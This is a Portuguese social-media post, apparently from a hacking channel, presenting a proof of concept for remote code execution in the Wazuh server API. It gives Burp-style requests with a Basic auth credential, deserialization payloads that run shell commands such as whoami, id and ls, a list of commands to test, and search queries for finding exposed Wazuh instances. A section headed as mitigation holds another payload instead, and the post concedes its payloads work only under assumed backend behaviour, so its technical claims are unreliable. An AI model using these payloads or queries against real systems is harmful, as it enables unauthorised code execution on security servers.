Uma vulnerabilidade crítica de RCE foi identificada no servidor Wazuh devido à desserialização insegura no pacote wazuh-manager. Esse bug afeta as versões do Wazuh ≥ 4.4.0 e foi corrigido na versão 4.9.1.
🚨 Wazuh Remote Code Execution (RCE) - PoC
Uma vulnerabilidade crítica de RCE foi identificada no servidor Wazuh devido à desserialização insegura no pacote wazuh-manager. Esse bug afeta versões do Wazuh ≥ 4.4.0 e foi corrigido na versão 4.9.1.
🔍 Detalhes
A falha está no DistributedAPI da API do Wazuh, onde a entrada controlada pelo usuário é desserializada de forma insegura. Isso permite que atacantes com acesso à API (por exemplo, dashboard comprometido ou nó de cluster) executem código Python arbitrário no servidor mestre usando o endpoint run_as.
📬 Prova de Conceito (Requisição Burp)
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg==
Content-Type: application/json
{
"__unhandled_exc__": {
"__class__": "exit",
"__args__": []
}
}
📌 O cabeçalho Authorization é o base64 de wazuh-wui:MyS3cr37P450r.*-.
📌 O payload faz o servidor Wazuh desligar chamando o método exit() do Python.
💥 Impacto
🛡️ Mitigação
{
"__unhandled_exc__": {
"__class__": "os",
"__import__": "os",
"system": "whoami"
}
}
Mas isso sozinho não funcionará a menos que o código de desserialização execute de fato a árvore de objetos. Em vez disso, use um objeto baseado em __reduce__ que execute código.
Aqui está o formato funcional para uma requisição Burp usando os.system() do Python através de lógica semelhante ao pickle:
💣 Payload RCE Funcional para Burp (Execução de Código Python)
POST /security/user/authenticate/run_as HTTP/1.1
Host: target.com:55000
Authorization: Basic d2F6dXcta3dpTUltUzNjcjM3UDA1MHItOg==
Content-Type: application/json
{
"__reduce__": [
"__import__('os').system",
["whoami"]
]
}
🧬 Para executar ls, altere o payload:
{
"__reduce__": [
"__import__('os').system",
["ls -la"]
]
}
Você também pode usar:
{
"__reduce__": [
"__import__('subprocess').getoutput",
["id"]
]
}
⚠️ Nota: A desserialização real deve ocorrer com eval() ou mecanismos semelhantes no backend para que isso funcione. Com base no PoC do Wazuh, isso é de fato possível se você controlar auth_context.
🔐 Dica Profissional Intercepte a requisição no Burp, vá para a guia Repeater e teste múltiplos payloads como:
"whoami""id""uname -a""ls /home/wazuh"👇Consulta
product.name="Wazuh"app="Wazuh"Se a resposta for vazia ou o status for 500, verifique os logs — às vezes a saída não é retornada. 📚 Fiquem afiados, hackers! Mais PoCs de bug bounty, bypasses e payloads estão por vir!
Siga 👉 @cybersecplayground para conteúdo diário de hacking!
#bugbounty #rce #wazuh #infosec #security #pentest #zeroday #exploit